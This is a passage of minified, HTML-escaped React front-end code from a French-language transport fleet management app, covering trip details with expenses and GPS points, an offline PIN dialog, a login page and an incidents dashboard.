w-5&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-wrap&quot;,children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Détails du voyage&quot;}),a.jsx(R8,{status:o.status})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:P3(o.dateDepart,&quot;d MMMM yyyy &#039;à&#039; HH:mm&quot;)})]})]}),a.jsxs(ul,{defaultValue:&quot;info&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-4&quot;,children:[a.jsx(hn,{value:&quot;info&quot;,children:&quot;Infos&quot;}),a.jsxs(hn,{value:&quot;expenses&quot;,children:[&quot;Dépenses &quot;,h.length&gt;0&amp;&amp;`(${h.length})`]}),a.jsxs(hn,{value:&quot;tracking&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(u1,{className:&quot;h-4 w-4&quot;}),&quot;Points GPS&quot;]}),a.jsx(hn,{value:&quot;summary&quot;,children:&quot;Résumé&quot;})]}),a.jsxs(dn,{value:&quot;info&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-5 w-5&quot;}),&quot;Véhicule&quot;]})}),a.jsx(Et,{children:c?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-lg&quot;,children:c.immatriculation}),c.marque&amp;&amp;c.modele&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[c.marque,&quot; &quot;,c.modele]})]}):a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement...&quot;})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ey,{className:&quot;h-5 w-5&quot;}),&quot;Remorque&quot;]})}),a.jsx(Et,{children:d?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-lg&quot;,children:d.immatriculation}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:d.type})]}):a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucune remorque&quot;})})]})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5&quot;}),&quot;Itinéraire&quot;]})}),a.jsx(Et,{className:&quot;space-y-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-1&quot;,children:&quot;Départ&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:o.origine}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:P3(o.dateDepart,&quot;d MMMM yyyy &#039;à&#039; HH:mm&quot;)})]}),a.jsx(&quot;div&quot;,{className:&quot;text-2xl&quot;,children:&quot;→&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-1&quot;,children:&quot;Arrivée&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:o.destination}),o.dateArrivee&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:P3(o.dateArrivee,&quot;d MMMM yyyy &#039;à&#039; HH:mm&quot;)})]})]})})]}),u.length&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Sm,{className:&quot;h-5 w-5&quot;}),&quot;Équipage&quot;]})}),a.jsx(Et,{children:a.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-3&quot;,children:u.map(E=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[E.photoUrl&amp;&amp;a.jsx(&quot;img&quot;,{src:Sr(E.photoUrl)||void 0,alt:E.nom,className:&quot;w-10 h-10 rounded-full object-cover border&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:E.nom}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:E.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:&quot;Aide-chauffeur&quot;})]})]},E.id))})})]})]}),a.jsxs(dn,{value:&quot;expenses&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-xl font-semibold&quot;,children:&quot;Dépenses&quot;}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Total: &quot;,new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0}).format(v.totalExpenses)]})]}),a.jsx(XHe,{tripId:r,onAdd:w})]}),p?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):h.length===0?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12 text-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucune dépense enregistrée&quot;})})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:h.map(E=&gt;a.jsx(w6,{expense:E,onDelete:j,onViewJustificatif:S=&gt;s(S)},E.id))})]}),a.jsx(dn,{value:&quot;tracking&quot;,className:&quot;space-y-4&quot;,children:a.jsx(cqe,{tripId:r})}),a.jsx(dn,{value:&quot;summary&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-xl font-semibold&quot;,children:&quot;Résumé financier&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Dépenses de ce voyage uniquement&quot;})]}),o.missionId&amp;&amp;a.jsxs(lu,{children:[a.jsx(xse,{className:&quot;h-4 w-4&quot;}),a.jsx(kS,{children:&quot;Revenu au niveau mission&quot;}),a.jsxs(cu,{className:&quot;flex items-center justify-between&quot;,children:[a.jsx(&quot;span&quot;,{children:&quot;Le revenu est géré au niveau de la mission (tour complet), pas au niveau du voyage individuel.&quot;}),a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;t(`/voyages/${o.missionId}`),className:&quot;ml-4&quot;,children:[a.jsx(Id,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Voir la mission&quot;]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Dépenses du voyage&quot;}),a.jsx(wn,{children:&quot;Total des dépenses pour ce voyage uniquement&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;text-center py-6&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-2&quot;,children:&quot;Total des dépenses&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-3xl font-bold text-red-600 dark:text-red-400&quot;,children:new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0}).format(v.totalExpenses)})]})})]}),o.missionId&amp;&amp;a.jsxs(it,{className:&quot;border-blue-200 dark:border-blue-900&quot;,children:[a.jsx(br,{children:a.jsx(jr,{className:&quot;text-sm&quot;,children:&quot;Calcul du profit&quot;})}),a.jsx(Et,{children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Pour calculer le profit de cette mission (revenu - dépenses totales), consultez la page de la mission qui affiche le revenu et les dépenses de tous les voyages.&quot;})})]})]})})]}),a.jsx(En,{open:!!i,onOpenChange:E=&gt;!E&amp;&amp;s(null),children:a.jsxs(yn,{className:&quot;max-w-4xl&quot;,children:[a.jsx(Cn,{children:a.jsx(In,{children:&quot;Justificatif&quot;})}),i&amp;&amp;a.jsx(&quot;img&quot;,{src:i,alt:&quot;Justificatif&quot;,className:&quot;w-full h-auto rounded-lg&quot;})]})})]})}function cqe({tripId:e}){const{data:t,isLoading:r}=oqe(e,5e3);if(!e)return a.jsx(it,{children:a.jsx(Et,{className:&quot;py-8 text-center text-muted-foreground&quot;,children:&quot;ID de voyage invalide&quot;})});if(r)return a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})});if(!t||t.points.length===0)return a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(u1,{className:&quot;h-5 w-5&quot;}),&quot;Points GPS Track-Detail&quot;]}),a.jsx(wn,{children:&quot;Aucun point GPS disponible pour ce voyage&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Importez un fichier Track-Detail pour ce véhicule dans&quot;,&quot; &quot;,a.jsx(&quot;a&quot;,{href:&quot;/settings?tab=tracking&amp;subtab=track-detail&quot;,className:&quot;text-primary underline&quot;,children:&quot;Paramètres &gt; Tracking &gt; Track-Detail&quot;})]})})]});const{points:n,meta:i}=t;return a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(u1,{className:&quot;h-5 w-5&quot;}),&quot;Points GPS Track-Detail&quot;]}),a.jsxs(wn,{children:[n.length,&quot; point&quot;,n.length&gt;1?&quot;s&quot;:&quot;&quot;,&quot; GPS&quot;,i.sourceFiles.length&gt;0&amp;&amp;` depuis ${i.sourceFiles.length} fichier${i.sourceFiles.length&gt;1?&quot;s&quot;:&quot;&quot;}`]})]}),a.jsxs(Et,{children:[a.jsx(&quot;div&quot;,{className:&quot;overflow-x-auto max-h-[600px] overflow-y-auto&quot;,children:a.jsxs(nx,{children:[a.jsx(ix,{children:a.jsxs(n0,{children:[a.jsx(bi,{children:&quot;Date/Heure&quot;}),a.jsx(bi,{children:&quot;Latitude&quot;}),a.jsx(bi,{children:&quot;Longitude&quot;}),a.jsx(bi,{children:&quot;Vitesse&quot;}),a.jsx(bi,{children:&quot;Mouvement&quot;}),a.jsx(bi,{children:&quot;Adresse&quot;}),a.jsx(bi,{children:&quot;Source&quot;})]})}),a.jsx(ax,{children:n.map(s=&gt;a.jsxs(n0,{children:[a.jsx(mi,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),Wr(new Date(s.ts),&quot;dd/MM/yyyy HH:mm:ss&quot;,{locale:Hr})]})}),a.jsx(mi,{className:&quot;font-mono text-sm&quot;,children:s.lat.toFixed(6)}),a.jsx(mi,{className:&quot;font-mono text-sm&quot;,children:s.lon.toFixed(6)}),a.jsx(mi,{children:s.speedKmh!==null?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(L6,{className:&quot;h-3 w-3&quot;}),s.speedKmh.toFixed(1),&quot; km/h&quot;]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;—&quot;})}),a.jsx(mi,{children:s.moving!==null&amp;&amp;s.moving!==void 0?a.jsx(yt,{variant:s.moving?&quot;default&quot;:&quot;secondary&quot;,children:s.moving?&quot;MOVING&quot;:&quot;STOPPED&quot;}):s.speedKmh!==null?a.jsx(yt,{variant:s.speedKmh&gt;3?&quot;default&quot;:&quot;secondary&quot;,children:s.speedKmh&gt;3?&quot;MOVING&quot;:&quot;STOPPED&quot;}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;—&quot;})}),a.jsx(mi,{children:s.raw&amp;&amp;typeof s.raw==&quot;object&quot;&amp;&amp;&quot;Address&quot;in s.raw?a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground truncate max-w-[200px] block&quot;,children:String(s.raw.Address||&quot;&quot;)}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;—&quot;})}),a.jsx(mi,{children:a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground truncate max-w-[150px] block&quot;,children:s.sourceFile})})]},s.id))})]})}),n.length&gt;=5e3&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;mt-4 p-3 border-t text-sm text-muted-foreground text-center&quot;,children:&quot;Affichage limité à 5000 points. Augmentez la limite pour voir plus.&quot;})]})]})}function uqe({open:e,onOpenChange:t,user:r,onSuccess:n}){const[i,s]=I.useState(&quot;&quot;),[o,l]=I.useState(&quot;&quot;),[c,d]=I.useState(null),[u,h]=I.useState(!1),p=async y=&gt;{if(y.preventDefault(),d(null),i.length&lt;An.PIN_LENGTH_MIN||i.length&gt;An.PIN_LENGTH_MAX){d(`Le PIN doit contenir entre ${An.PIN_LENGTH_MIN} et ${An.PIN_LENGTH_MAX} chiffres`);return}if(!/^\d+$/.test(i)){d(&quot;Le PIN ne doit contenir que des chiffres&quot;);return}if(i!==o){d(&quot;Les PIN ne correspondent pas&quot;);return}h(!0);try{const v=r.name||r.email||`Utilisateur ${r.id}`,w=r.role?[r.role]:[];await BS(r.id,v,w,i),s(&quot;&quot;),l(&quot;&quot;),n(),t(!1)}catch(v){const w=v instanceof Error?v.message:&quot;Erreur lors de la création du profil offline&quot;;d(w)}finally{h(!1)}},A=()=&gt;{s(&quot;&quot;),l(&quot;&quot;),d(null),t(!1)};return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(In,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Hd,{className:&quot;h-5 w-5&quot;}),&quot;Activer l&#039;accès hors ligne&quot;]}),a.jsx(Mn,{children:&quot;Configurez un code PIN pour accéder à l&#039;application en mode hors ligne. Ce PIN sera requis à chaque démarrage hors ligne.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:p,className:&quot;space-y-4&quot;,children:[c&amp;&amp;a.jsxs(lu,{variant:&quot;destructive&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{children:c})]}),a.jsxs(lu,{children:[a.jsx(Kn,{className:&quot;h-4 w-4&quot;}),a.jsx(cu,{className:&quot;text-sm&quot;,children:&quot;Recommandé pour un usage terrain. Vous pourrez utiliser l&#039;application même sans connexion Internet.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;pin&quot;,children:[&quot;Code PIN (&quot;,An.PIN_LENGTH_MIN,&quot;-&quot;,An.PIN_LENGTH_MAX,&quot; chiffres)&quot;]}),a.jsx(Xe,{id:&quot;pin&quot;,type:&quot;password&quot;,inputMode:&quot;numeric&quot;,pattern:&quot;[0-9]*&quot;,placeholder:&quot;Entrez votre PIN&quot;,value:i,onChange:y=&gt;{const v=y.target.value.replace(/\D/g,&quot;&quot;);v.length&lt;=An.PIN_LENGTH_MAX&amp;&amp;(s(v),d(null))},required:!0,disabled:u,autoComplete:&quot;off&quot;,autoFocus:!0,className:&quot;text-center text-xl tracking-widest&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;confirmPin&quot;,children:&quot;Confirmer le PIN&quot;}),a.jsx(Xe,{id:&quot;confirmPin&quot;,type:&quot;password&quot;,inputMode:&quot;numeric&quot;,pattern:&quot;[0-9]*&quot;,placeholder:&quot;Confirmez votre PIN&quot;,value:o,onChange:y=&gt;{const v=y.target.value.replace(/\D/g,&quot;&quot;);v.length&lt;=An.PIN_LENGTH_MAX&amp;&amp;(l(v),d(null))},required:!0,disabled:u,autoComplete:&quot;off&quot;,className:&quot;text-center text-xl tracking-widest&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 pt-2&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:A,disabled:u,className:&quot;flex-1&quot;,children:&quot;Plus tard&quot;}),a.jsx(ge,{type:&quot;submit&quot;,disabled:u||i.length&lt;An.PIN_LENGTH_MIN||i!==o,className:&quot;flex-1&quot;,children:u?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Configuration...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Hd,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Activer&quot;]})})]})]})]})})}function Rx(e){switch(e){case&quot;admin&quot;:case&quot;gestionnaire_parc&quot;:return&quot;/&quot;;case&quot;gestionnaire_mobile&quot;:case&quot;secretaire&quot;:return&quot;/voyages&quot;;case&quot;comptable&quot;:return&quot;/voyages&quot;;case&quot;atelier&quot;:return&quot;/pannes&quot;;case&quot;chauffeur&quot;:case&quot;apprenti&quot;:return&quot;/driver&quot;;default:return&quot;/&quot;}}function E6(){const[,e]=Gi(),{user:t,loginAsync:r,isLoggingIn:n}=dy(),[i,s]=I.useState(&quot;&quot;),[o,l]=I.useState(&quot;&quot;),[c,d]=I.useState(null),[u,h]=I.useState(!1),[p,A]=I.useState(!1);I.useEffect(()=&gt;{if(t&amp;&amp;!p){console.log(&quot;[Login] Utilisateur déjà connecté, redirection automatique&quot;);const v=Rx(t.role);e(v)}},[t,e,p]),I.useEffect(()=&gt;{(async()=&gt;{if(t&amp;&amp;p&amp;&amp;!u){console.log(&quot;[Login] Vérification de secours du profil offline pour user:&quot;,t.id);try{const w=await cN();if(console.log(&quot;[Login] Profil offline existe (vérification de secours):&quot;,w),!w)console.log(&quot;[Login] Affichage du dialogue de configuration PIN (secours)&quot;),h(!0);else{console.log(&quot;[Login] Profil offline existe déjà, redirection (secours)&quot;);const j=Rx(t.role);e(j),A(!1)}}catch(w){console.error(&quot;[Login] Erreur lors de la vérification du profil offline (secours):&quot;,w),console.log(&quot;[Login] Erreur détectée, affichage du dialogue PIN par sécurité (secours)&quot;),h(!0)}}})()},[t,p,u,e]);const y=async v=&gt;{v.preventDefault(),d(null);try{const j=/^\+?[0-9\s-]+$/.test(i)?{phone:i.replace(/\s+/g,&quot;&quot;),password:o}:{email:i,password:o},E=await r(j);console.log(&quot;[Login] Login réussi pour user:&quot;,E.user.id);try{const S=await cN();if(console.log(&quot;[Login] Vérification immédiate du profil offline:&quot;,S),!S)console.log(&quot;[Login] Aucun profil offline, affichage du dialogue PIN&quot;),h(!0),A(!0);else{console.log(&quot;[Login] Profil offline existe déjà, redirection immédiate&quot;);const _=Rx(E.user.role);e(_)}}catch(S){console.error(&quot;[Login] Erreur lors de la vérification du profil offline:&quot;,S),console.log(&quot;[Login] Erreur détectée, affichage du dialogue PIN par sécurité&quot;),h(!0),A(!0)}}catch(w){d(w.message||&quot;Erreur lors de la connexion&quot;)}};return a.jsxs(&quot;div&quot;,{className:&quot;min-h-screen flex flex-col items-center justify-center bg-gradient-to-br from-background to-muted p-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center mb-8&quot;,children:[a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-16 md:h-20 w-auto mb-4&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-2xl md:text-3xl font-bold&quot;,children:&quot;Parc&#039;App&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base text-muted-foreground mt-1&quot;,children:&quot;Application de gestion du transport&quot;})]}),a.jsxs(it,{className:&quot;w-full max-w-md&quot;,children:[a.jsxs(br,{className:&quot;space-y-1&quot;,children:[a.jsx(jr,{className:&quot;text-2xl font-bold text-center&quot;,children:&quot;Connexion&quot;}),a.jsx(wn,{className:&quot;text-center&quot;,children:&quot;Connectez-vous à votre compte Parc&#039;App&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;form&quot;,{onSubmit:y,className:&quot;space-y-4&quot;,children:[c&amp;&amp;a.jsx(lu,{variant:&quot;destructive&quot;,children:a.jsx(cu,{children:c})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;username&quot;,children:&quot;Email ou Téléphone&quot;}),a.jsx(Xe,{id:&quot;username&quot;,type:&quot;text&quot;,placeholder:&quot;email@example.com ou +22670123456&quot;,value:i,onChange:v=&gt;s(v.target.value),required:!0,disabled:n,autoComplete:&quot;username&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Vous pouvez vous connecter avec votre email ou votre numéro de téléphone&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;password&quot;,children:&quot;Mot de passe&quot;}),a.jsx(Xe,{id:&quot;password&quot;,type:&quot;password&quot;,placeholder:&quot;Entrez votre mot de passe&quot;,value:o,onChange:v=&gt;l(v.target.value),required:!0,disabled:n,autoComplete:&quot;current-password&quot;})]}),a.jsx(ge,{type:&quot;submit&quot;,className:&quot;w-full&quot;,disabled:n,children:n?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;mr-2 h-4 w-4 animate-spin&quot;}),&quot;Connexion...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(bse,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Se connecter&quot;]})})]})})]}),t&amp;&amp;a.jsx(uqe,{open:u,onOpenChange:v=&gt;{if(h(v),!v&amp;&amp;p){const w=Rx(t.role);e(w),A(!1)}},user:t,onSuccess:()=&gt;{A(!1);const v=Rx(t.role);e(v)}})]})}function dqe(){return a.jsx(&quot;div&quot;,{className:&quot;min-h-screen w-full flex items-center justify-center bg-gray-50&quot;,children:a.jsx(it,{className:&quot;w-full max-w-md mx-4&quot;,children:a.jsxs(Et,{className:&quot;pt-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex mb-4 gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-8 w-8 text-red-500&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-bold text-gray-900&quot;,children:&quot;404 Page Not Found&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;mt-4 text-sm text-gray-600&quot;,children:&quot;Did you forget to add the page to the router?&quot;})]})})})}function fqe(){const[e,t]=I.useState(&quot;&quot;),[,r]=Gi(),{data:n=[],isLoading:i}=cr({queryKey:[&quot;/api/voyages&quot;,&quot;in_progress&quot;,&quot;with_unread_count&quot;],queryFn:()=&gt;vy(&quot;in_progress&quot;,!0)}),{data:s=[],isLoading:o}=cr({queryKey:[&quot;/api/incidents&quot;],queryFn:()=&gt;MS()}),l=I.useMemo(()=&gt;{const y=new Map;return s.forEach(v=&gt;{const w=v.voyageId;y.has(w)||y.set(w,[]),y.get(w).push(v)}),y},[s]),c=I.useMemo(()=&gt;n.map(y=&gt;{const v=l.get(y.id)||[],w=v.filter(_=&gt;_.status===&quot;ouvert&quot;||_.status===&quot;en_cours&quot;),j=w.length&gt;0,E=v.filter(_=&gt;_.priority===&quot;urgente&quot;||_.priority===&quot;haute&quot;),S=E.length&gt;0;return{...y,incidents:v,openIncidents:w,hasOpenIncident:j,urgentIncidents:E,hasUrgentIncident:S,incidentCount:v.length}}),[n,l]),d=i||o,h=[...c.filter(y=&gt;{if(!e)return!0;const v=e.toLowerCase();return y.title?.toLowerCase().includes(v)||y.code?.toLowerCase().includes(v)||y.clientName?.toLowerCase().includes(v)||y.loadingSite?.toLowerCase().includes(v)||y.unloadingSite?.toLowerCase().includes(v)})].sort((y,v)=&gt;{const w=y.unreadMessagesCount||0,j=v.unreadMessagesCount||0;if(y.hasUrgentIncident&amp;&amp;!v.hasUrgentIncident)return-1;if(!y.hasUrgentIncident&amp;&amp;v.hasUrgentIncident)return 1;if(y.hasOpenIncident&amp;&amp;!v.hasOpenIncident)return-1;if(!y.hasOpenIncident&amp;&amp;v.hasOpenIncident)return 1;if(w&gt;0&amp;&amp;j===0)return-1;if(w===0&amp;&amp;j&gt;0)return 1;const E=new Date(y.createdAt||0).getTime();return new Date(v.createdAt||0).getTime()-E}),p=y=&gt;{r(`/voyages/${y}?tab=journal`),setTimeout(()=&gt;{const v=document.querySelector(&#039;[data-tab=&quot;journal&quot;]&#039;);v&amp;&amp;v.scrollIntoView({behavior:&quot;smooth&quot;,block:&quot;end&quot;})},500)},A=I.useMemo(()=&gt;{const y=c.reduce((j,E)=&gt;j+(E.unreadMessagesCount||0),0),v=s.filter(j=&gt;j.status===&quot;ouvert&quot;||j.status===&quot;en_cours&quot;).length,w=s.filter(j=&gt;(j.status===&quot;ouvert&quot;||j.status===&quot;en_cours&quot;)&amp;&amp;(j.priority===&quot;urgente&quot;||j.priority===&quot;haute&quot;)).length;return{totalUnread:y,totalOpenIncidents:v,totalUrgentIncidents:w}},[c,s]);return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;h1&quot;,{className:&quot;text-3xl font-bold flex items-center gap-3&quot;,children:[a.jsx(Kn,{className:&quot;h-8 w-8 text-primary&quot;}),&quot;Pannes/Incidents&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mt-1&quot;,children:&quot;Voyages en cours avec incidents signalés&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-3 gap-4 mt-4&quot;,children:[a.jsx(it,{className:&quot;border-l-4 border-l-blue-500&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Messages non lus&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold&quot;,children:A.totalUnread})]}),a.jsx(xm,{className:&quot;h-8 w-8 text-blue-500 opacity-50&quot;})]})})}),a.jsx(it,{className:&quot;border-l-4 border-l-orange-500&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Incidents ouverts&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold&quot;,children:A.totalOpenIncidents})]}),a.jsx(Bl,{className:&quot;h-8 w-8 text-orange-500 opacity-50&quot;})]})})}),a.jsx(it,{className:&quot;border-l-4 border-l-red-500&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Incidents urgents&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold&quot;,children:A.totalUrgentIncidents})]}),a.jsx(Kn,{className:&quot;h-8 w-8 text-red-500 opacity-50&quot;})]})})})]})]}),a.jsx(it,{children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher un voyage...&quot;,value:e,onChange:y=&gt;t(y.target.value),className:&quot;pl-9&quot;})]})})}),d?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):h.length===0?a.jsx(it,{children:a.jsxs(Et,{className:&quot;py-12 text-center text-muted-foreground&quot;,children:[a.jsx(xm,{className:&quot;h-12 w-12 mx-auto mb-4 opacity-50&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Aucun voyage en cours&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm&quot;,children:e?&quot;Aucun voyage ne correspond à votre recherche&quot;:&quot;Aucun voyage en cours pour le moment&quot;})]})}):a.jsx(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:h.map(y=&gt;{const 